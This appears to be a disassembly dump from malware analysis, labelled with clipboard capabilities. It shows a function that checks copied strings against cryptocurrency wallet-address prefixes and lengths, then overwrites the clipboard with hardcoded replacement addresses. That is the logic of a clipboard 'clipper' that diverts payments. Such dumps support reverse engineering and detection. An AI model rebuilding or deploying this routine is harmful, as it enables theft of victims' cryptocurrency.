Function at 0x40f010
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x73
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x71
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x63
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x61
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x46
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
je 0x40f18d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
je 0x40f18d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x40f18d
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
je 0x40f18d
xor al, al
jmp 0x40f5f7
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x40f1b0
cmp dword [ebp - 4], 0x5a
jb 0x40f1a4
cmp dword [ebp - 4], 0x73
jbe 0x40f1ab
xor al, al
jmp 0x40f5f7
jmp 0x40f274
push 0x415b54
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f1dd
cmp dword [ebp - 4], 0x32
jb 0x40f1d1
cmp dword [ebp - 4], 0x38
jbe 0x40f1d8
xor al, al
jmp 0x40f5f7
jmp 0x40f274
push 0x415b70
mov edx, dword [ebp + 8]
push edx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f207
cmp dword [ebp - 4], 0x2a
jb 0x40f1fe
cmp dword [ebp - 4], 0x30
jbe 0x40f205
xor al, al
jmp 0x40f5f7
jmp 0x40f274
push 0x415b80
mov eax, dword [ebp + 8]
push eax
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f231
cmp dword [ebp - 4], 0x62
jb 0x40f228
cmp dword [ebp - 4], 0x69
jbe 0x40f22f
xor al, al
jmp 0x40f5f7
jmp 0x40f274
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
je 0x40f252
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
je 0x40f252
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x40f261
cmp dword [ebp - 4], 9
je 0x40f25f
xor al, al
jmp 0x40f5f7
jmp 0x40f274
cmp dword [ebp - 4], 0x15
jb 0x40f26d
cmp dword [ebp - 4], 0x38
jbe 0x40f274
xor al, al
jmp 0x40f5f7
push 0x415b8c
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040f600
add esp, 8
test eax, eax
jne 0x40f320
mov dword [ebp - 0x18], 0
jmp 0x40f29f
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jae 0x40f320
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x40f2e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x4f
je 0x40f2df
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x49
je 0x40f2df
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x6c
jne 0x40f2e6
xor al, al
jmp 0x40f5f7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.MSVCRT.dll_iswalpha
add esp, 4
test eax, eax
jne 0x40f31b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.MSVCRT.dll_iswdigit
add esp, 4
test eax, eax
jne 0x40f31b
xor al, al
jmp 0x40f5f7
jmp 0x40f296
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
jne 0x40f341
cmp dword [ebp - 4], 0x30
jne 0x40f33a
mov dword [ebp - 8], 0x415ba8
jmp 0x40f341
mov dword [ebp - 8], 0x415c10
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
jne 0x40f353
mov dword [ebp - 8], 0x415c58
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
jne 0x40f365
mov dword [ebp - 8], 0x415ca0
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x58
jne 0x40f377
mov dword [ebp - 8], 0x415cf8
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x44
jne 0x40f389
mov dword [ebp - 8], 0x415d40
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x40f39b
mov dword [ebp - 8], 0x415d88
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4c
jne 0x40f3ad
mov dword [ebp - 8], 0x415de0
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x72
jne 0x40f3bf
mov dword [ebp - 8], 0x415e28
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x54
jne 0x40f3d1
mov dword [ebp - 8], 0x415e70
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x74
jne 0x40f3e3
mov dword [ebp - 8], 0x415eb8
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x68
jne 0x40f3f5
mov dword [ebp - 8], 0x415f00
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x51
jne 0x40f407
mov dword [ebp - 8], 0x415f58
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x52
jne 0x40f419
mov dword [ebp - 8], 0x415fa0
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4e
jne 0x40f42b
mov dword [ebp - 8], 0x415fe8
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x41
jne 0x40f43d
mov dword [ebp - 8], 0x416040
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
jne 0x40f44f
mov dword [ebp - 8], 0x416088
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x73
jne 0x40f461
mov dword [ebp - 8], 0x4160d0
push 0x416118
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f47d
mov dword [ebp - 8], 0x416130
push 0x4161a0
mov edx, dword [ebp + 8]
push edx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f499
mov dword [ebp - 8], 0x4161b0
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
jne 0x40f4ab
mov dword [ebp - 8], 0x416218
push 0x41620c
mov edx, dword [ebp + 8]
push edx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f4c7
mov dword [ebp - 8], 0x4162d8
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x46
jne 0x40f4d9
mov dword [ebp - 8], 0x4163a8
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x40f4eb
mov dword [ebp - 8], 0x4163f0
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x62
jne 0x40f54a
push 0x416464
mov eax, dword [ebp + 8]
push eax
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f512
mov dword [ebp - 8], 0x416478
push 0x41646c
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f52e
mov dword [ebp - 8], 0x4164d0
push 0x416528
mov edx, dword [ebp + 8]
push edx
call fcn.0040f600
add esp, 8
test eax, eax
je 0x40f54a
mov dword [ebp - 8], 0x416530
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
jne 0x40f55c
mov dword [ebp - 8], 0x416588
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x45
jne 0x40f56e
mov dword [ebp - 8], 0x41659c
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x42
jne 0x40f580
mov dword [ebp - 8], 0x4165b0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40f5f5
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x14]
push edx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret